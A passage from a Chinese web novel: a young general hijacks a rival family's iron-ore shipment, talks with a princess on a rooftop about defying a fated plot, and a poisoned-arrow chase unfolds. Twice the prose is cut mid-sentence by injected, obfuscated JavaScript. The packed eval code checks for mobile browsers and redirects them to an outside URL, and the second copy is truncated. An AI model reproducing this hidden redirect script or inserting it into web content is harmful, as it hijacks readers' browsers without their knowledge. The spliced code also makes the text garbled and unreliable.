“该不会……”萧闻松脑海中闪过一个离谱的猜测。 “我劫的。”虞赋野肯定了他的言下之意。 “真是你动的手?!”萧闻松闻言直接站了起来。 “这可不是小事,不论走私铁矿的罪名,虽说贺知循那厮实在活该,但这要是贺家查出是你动的手,以你目前的根基,和贺家比起来还是差得远,你这是冲动行事!” 萧闻松急得来回踱步,想了又想,还是想不通,便开口问道:“你怎么突然想起了要对贺府动手?” 他脑子里仔细思索,莫非贺家与赋野有什么渊源?二者以前结过仇? 谁承想虞赋野直接抛出一句:“看他不顺眼。” 此言一出,萧将军一时语塞,只觉自己此前瞎了眼,他当初怎么会觉得虞赋野这厮是个可造之材,如今看来,这小子简直是个满脑子情爱,行事不忌的傻子! “将军不必担忧,此事若贺府深查,也只会查到其他皇子头上。” “这件事还牵涉到其他皇子?!”萧闻松瞪了昔日爱将一眼。 眼见着萧闻松为他忧心,虞赋野也不藏着掖着,准备道出他的布置,有些环节确实需要借助萧家的力量。 风声一动,他听见远处向这边走来的脚步声,顷刻止住话头。 萧闻松也有所察觉,他眼疾手快一手按住虞赋野的左肩,语重心长道:“此事干系重大,你我回府再议。” 二人交换眼神,一同打道回府。 及至萧府,还未等落棋上前,只见大少爷并着虞小将军直奔书房,丝毫未分一丝视线给旁人。 倒是虞赋野瞥见是萧新棠的丫鬟,留了个心眼,与落棋对视一眼,便也一同走进书房。 这一通商量,便从明日高悬,论到了月上枝头。 待到晚间,府中各处寂静,虞赋野走近院墙,施力跃起,几个起落间便到了西棠院。 院内四处暗卫无一察觉。 他环视四周,就要飞进主院,忽然余光一扫,调转步伐,跃上了屋顶。 “你来得挺早。”萧新棠曲腿,坐在屋顶,看见来人招呼一声,目光仍是看着天际的月亮。 虞赋野在她身边坐下,一同望向月亮,略带冷质的声音响起,“郡主有烦心事。” 他语气笃定,隐含一丝担忧。 萧新棠侧眸,“如果我将疑惑说出来,你会替我解惑吗?” “能力范围内都能做到。” “超出能力范围的呢?”萧新棠进一步问道。 “若是郡主所念,虞某便是拼了性命,也会让郡主如愿。” 冷淡的声音却是说出了如此炽热的承诺。 萧新棠闻言轻笑,“此时对着我,你说的倒是诚恳,动不动便是豁出性命,也不知你这话,能坚持多久。” 不待身旁人再言,她径直抛出问题:“你认识苏园吗?” 虞赋野见萧新棠不信他,垂下眼帘,敛去一丝不甘,自知不可心急,正色回道:“郡主希望我认识吗?” 萧新棠了悟,这便是认识了。 “我今日见了她,让她到府上做活,也算是个生计,有时候我看着她倒觉得她与我很像。” “同样是有冥冥之中早就确定的前路,我醒了后,总想着改命,也这样做了,我知道她的下场,不想让她走上绝路,便也擅自做主,改了她的命,话本里常说,万事有因果,我这样改了原定的命数,会不会也有我不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396745|184309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晓的代价呢?” 对于她的问题,虞赋野一时也不知如何作答,他来到这里,也是在身死之后,那道人说若是强行泄露命数,他会被规则排斥,最终死去,但萧新棠不同,她是书中人,即使是书外的他,也不能断定将要付出什么代价。 但虞赋野了解萧新棠,远比这个世界的人要了解,她说的这些,并不是后悔,她的坚韧他早已透过那个文字构建的世界看了个透彻。 “郡主会放弃吗?”他明知故问道。 “自然不会,就算是有代价,我也不愿闭目塞听,走上梦里那样的结局,我们萧家人可没有认命的说法。”萧新棠微抬下巴,对虞赋野的“放弃”二字尤为不屑。 眼前人重新昂扬起来,虞赋野静静地望着她,月色下萧新棠本就白皙的肤色显得更为通透,眼尾扬起的弧度染着骄纵。 或许对于他人来说,昭言郡主昳丽娇艳的容貌,美得颇具攻击性,对虞赋野而言,这确实他曾经几度设想,也难以在梦中描绘出的生命力,越是与她相见,便越是沉沦。 忽然,肩头一下轻触,虞赋野一瞬清醒,面前是萧新棠放大的脸,她一手点着他,眸子中透着疑惑。 “你怎么在发呆呀?”她语气中有些嫌弃。 虞赋野敛下万般思绪,复又抬眸,温和道:“方才郡主说得太好,在下颇有感触,一时想得深了。” 顶着这诡异温和的目光,萧新棠难得有些不自在,不再纠结于这些得不到答案的问题,而是换了个话题:“我今天叫你来,是想问问你,知不知道苏园父兄的下落。” 虞赋野沉吟几许,他知道苏园这个人,只是因为在话本里新棠复仇时,她们二人有着共同的敌人,曾携手对敌,但若说其父兄的下落,书中的新棠不清楚,他便也不清楚,只能给出大致的方向。 “据我所知……” 脑中刺痛袭来,虞赋野运转功法,强行压下乱窜的真气。 “她的父兄并未离开乐安郡。” 他还准备再说,“在夙安……” “行了!”萧新棠连忙打断他。 “知道这些就可以了,乐安郡就那么点大,总能找到的,有了地方就可以了,不要再多说了。” 萧新棠见这人明明疼得狠了,面上还装作一副不动声色的样子,心里就来气。 “说得太多疼的是你自己,我也不清楚你到底能说多少,一时失了分寸,你也真是,不能说也不暗示一下,头还疼吗?” 见萧新棠满脸愧疚与担忧,虞赋野唇角轻牵,正想宽慰两句,忽然意识到不对。 “郡主怎知我是头疼?” 规则反噬之苦确实难忍,但虞赋野自认,从未在萧新棠面前暴露出头疼的症状,只在上次见面吐了血,她又是从何而知反噬会头疼? 萧新棠眼看自己要暴露了,便收回手,佯作不知,摆摆手糊弄道:“我这不是看你表现猜的嘛……” 还未等她说完,虞赋野眼尖地看见她右手袖侧的一抹血色,当即抓住她的手腕。 他眸中蕴着些许痛意,带着几分厉色喝道:“你自己试过了?!” 10. 第 10 章 萧新棠一时也被他吓着,手腕挣动几次都挣脱不了,她也急了,便直接怼回去:“我试不试与你何干,轮得到你来管教?放手!” 轻斥传来,虞赋野立时反应过来,一瞬松开手,见萧新棠手腕上方,浮现出的刺眼红痕,他瞳孔微微一颤,心中暗暗自责,带着几分无措道,“抱歉,我……一时冲动,冲撞了郡主,还望郡主莫怪。” 萧新棠揉着酸疼的腕子,眼前这人刚刚还是冷厉的模样,如今确是像个淋了雨的小狗,一副耷拉的样子,心中也有几分好笑。 她知道,虞赋野是在担心她,一时气急便没注意分寸,涉及到这些怪力乱神之事,自是得万分斟酌。 萧新棠也没想与他置气,方才那一瞬她看得分明,虞赋野对她没有恶意。 萧新棠甩甩手,想着扭转一下有些沉闷的气氛,眼珠滴溜一转,计上心来。 她上前一步,正对着抿嘴沉默的人,以迅雷不及掩耳之势,踮脚抬手,直接摸了摸他的头,转而又拍了拍肩膀。 看似语重心长道:“我知你是担心我,方才我也是气急,说了些气话,咱俩各退一步,我不怪你冒犯,你也别不高兴了好不好?” 幽香如丝袭来,虞赋野瞳孔骤然一缩,似乎有一股热意从头上传来,甚至连神情都显得怔忪,心中思绪万千却又一片空白,身旁的空气也有些灼热,脑海一遍遍重复着前一瞬的画面。 郡主刚刚在摸他的头! 眼前的人一脸期待,等着他回话,虞赋野唇角轻扯,嗓子却有些干涩,肩上的温度一下又一下刺激他的神经。 他些许难耐地微微侧头,避开对视,眼神闪烁道:“多谢郡主宽仁,只是这泄露天机之事兹事体大……” 却不想他这一侧头,正中萧新棠下怀,只见眼前的青年将军,不似初见时的锐意凛然,一抹红意自衣领下延伸出,弥漫至颈侧,上方的耳垂也带着可疑的浅红。 萧新棠现在完全听不进耳侧的话语,目光都集中在虞赋野的耳垂上,许是她的目光太明显,那一抹红意以肉眼可见的速度加深,丝毫没管它的主人正经冷淡的神情。 这一幕实在太有反差了。 她忍了又忍,数度将不受控制上扬的唇角压下,但左边下来了,右边又上去了,最终还是没忍住,溢出了一声轻笑。 虞赋野正一点点将此事的严重性说与萧新棠听,耳旁冷不丁传来了笑声,他不解地回头,萧新棠双手捂着嘴,俨然是一副憋笑的样子。 他仔细思索方才的话,并未找到有什么逗笑之处,目光更加疑惑,莫不是新棠想到了什么开心的事? 萧新棠顶着这十分不解的目光,边笑着边颤颤巍巍伸出手,点了一下那通红的耳垂,嘴上也没饶过他,一笑一顿道:“虞赋野,你的耳朵,哈哈哈哈哈……好红啊……” 听见这话,虞赋野似见鬼了一样,立刻后退数步,将将要退到屋檐处了才停下,他一手捂着方才被碰过的耳朵,神色颇为羞恼。 还不等他开口找补,萧新棠又送上会心一击:“你刚刚是害羞了吗?” 顿时热气直冲天灵盖,这会不用萧新棠指出,虞赋野自己都明显觉察到了脸上的热意。 此处已是呆不下去了! 他放下已经遮不住的手,强忍着捂脸的冲动,运转内力降温,一面拱手道:“今日时间不早了,在下便不再叨扰郡主,望郡主早些歇息,一夜好梦,在下告退。” 萧新棠还想再拦,谁知这人竟也不等她回话,直接运起轻功飞远了,转瞬间连人影都瞧不见了。 见人都走远了,萧新棠也不再忍着,直接笑了出来,她可真没想到,这小虞将军竟是个如此有趣的人,方才那做派简直好似庙里的和尚到了青楼一般,又是尴尬又是害羞的,可太有意思了。 待到笑够了,她望着那人消失的方向,喃喃自语:“真是个傻子,想问的都还没问出来就跑了……” 夜风沁着凉意,吹拂过枝杈,带走了脸上的热意,也把混沌的脑袋吹清醒了。 虞赋野落地,站在院墙边,回想着他方才那丢人的做派,抬手一拳砸在了树干上,甚至还不敢用捏过新棠手腕的那只手。 前世在战场上无数次死里逃生他都不惧,怎的今日反倒在她面前露了怯。 他闭了闭眼,真是没出息! 夜深露重,多思无益,虞赋野无奈地进屋,收拾齐整便也躺在床上,闭目准备睡觉。 却不想即使闭上了眼,脑海里仍然回顾着当时的一幕幕,萧新棠慵懒的笑、惊讶的神情、他情急之下抓着她手腕的触感,仍在眼前重演。 倏然,他猝然睁眼,径直坐起。 他想起来了,当时他是想问新棠为何要尝试泄露剧情,结果被她指出面红耳赤的情态,一时羞恼便也没顾上问话。 如今想来,他才惊觉,怕是新棠根本不愿让他知道,故意打岔来避开问话。 他之后的动作,怕是新棠早已洞悉,今夜一番较量,完全被她玩弄于股掌之中。 沉吟半晌,虞赋野眸中浮现出赞赏之色,漆黑的室内传来一声轻笑,言言果然是如此聪慧无双,步步筹算,倒教他越发舍不得离开她了。 在照京城中,众人安睡之时,南部的乐安郡一处密林中,却在进行一场追杀。 身着夜行衣的少年拼命施展轻功在林中穿梭,背上还背着一个瘦骨嶙峋的男人,身后一群追兵无声向前靠近。 “嗖”“嗖“嗖”,几支利箭擦身而过。 “唰——”地一声,一支箭头映着紫黑色暗光的箭矢猝然贴近,从少年胳膊上划了一道口子,毒素随着内力飞速扩散,不不多时,他眼前泛起点点黑影,喘息声粗重起来。 不能晕,一定不能晕!他咬破舌尖,以疼痛刺激神智,一定要把消息带出去! “呲唰——”他倏然停下脚步,数尺下一条大河豁然涌现,身后的人也知道前面是绝路,有序地放慢脚步,从四周围拢过来。 “主人命令,抓活的。” 脚步一点点逼近,走投无路的少年望了一眼湍急的河水,月光下黑绿色的水流深不见底,他攥紧背上人的胳膊,几不可闻地说了句:“对不住了兄弟!” 一瞬便带人跳进了河里。 追兵急忙上前,却只见河水涌动,连血迹都难以得见, “混账!” “啪!”追兵首领狠狠扇了随从一巴掌。 四周死士沉默。 “愣着干什么!去追啊!沿着河道找,活要见人,死要见尸!要是找不到,都提头来见!” 唰啦一声,死士四散开,密林四处也响起寻人的脚步声。 * 翌日一早,还未等虞赋野去西棠院抓那个狡猾的郡主,先被萧闻松逮了个正着,只得一道去商量劫铁矿的具体对策。 早在昨日的商谈中,萧闻松便与他达成了共识,一直认为白来的铁矿不要白不要,更何况还是贺知循家的,那更是不能给那厮剩一点。 待到萧新棠醒来用早饭时,便听到了虞赋野离开萧府,去处理公务的好消息,乐得她还多吃了半碗饭。 用过饭后,她一路逛到藏书阁,径直去往放着游记的一层,抽出昨日未看完的内容细细看着。 书封上赫然写着“乐安郡郡志”。 这边厢一派岁月静好,另一边的的贺府中,贺知循却是处于水深火热之中。 “砰!”贺奉远将信件狠狠丢在案上,“这就是你干的好事!铁矿生意刚交与你,你便捅出这么大的娄子,这是成事不足败事有余的废物!” 说罢仍不解气,一手攥起旁边的青玉摆件就砸了出去。 “咳……”玉石径直砸到右肩,跪着的贺知循身子一抖,惨白着脸,却丝毫不敢痛呼。 铁矿之事兹事体大,他也不知究竟是谁在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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屋内无人后,他有些艰难地起身挪到床边,打开一旁的柜子,取出几页纸,上面都是萧新棠赠予他的回信,落款处描出的粉色棠花仍栩栩如生,颜色依旧。 他扫了几眼,里头都是情真意切的内容,心下安定,他就说嘛,萧新棠就是对他一往情深,这段时间不过是耍些孩子脾气,同他置气罢了。 待到宫宴时他再相邀,约着一同看下月的灯会,她便消气了。 他很了解这种武夫家的女儿,就喜欢这些文人的情调。 另一边的萧府。 藏书阁中趴在榻上看书人狠狠打了几个喷嚏,有些不解:“莫非这几日穿得少了,着凉了?” * 傍晚时分,虞赋野谢绝萧闻松同回的邀请,穿过几条巷子后,在一家店面前站定。 这是一家卖灯笼的小店,各式各样的灯笼做得活灵活现,一只红狐狸灯摆在角落中。 “掌柜的,买灯笼。” 虞赋野步入店内,正在削竹条的学徒抬眼看来,侧边的店老板见着生脸,忙上前招呼道:“客官好嘞,咱店里的灯笼都是用上等的竹子、纸面做的,是咱照京独一家的好看,不知客官是要现成的,还是要定新的?” 一一扫过店内的灯笼,虞赋野抬手一指,老板顺着看去,见他指着的是一只红狐狸灯。 “客官真有眼光,这灯笼在本店卖得可好了,许多少爷小姐都喜欢。”老板奉承道。 “照着这个样式,做一只雪狐灯,狐狸额间添上朱红色的海棠花钿,这是定金。” 虞赋野将银票递给老板,店老板仔细看了看票号,又是乐呵呵地道:“得嘞,客官的要求我们都能做到,保准让客官满意!不知客官什么时候来取?” “灯会前一晚,我会派人来取。” 约定好时间,虞赋野便径直回了萧府,心里计划着,该如何让萧新棠愿意与他同游灯会。 他记得新棠很是喜欢漂亮的灯笼样式,尤其喜欢狐狸。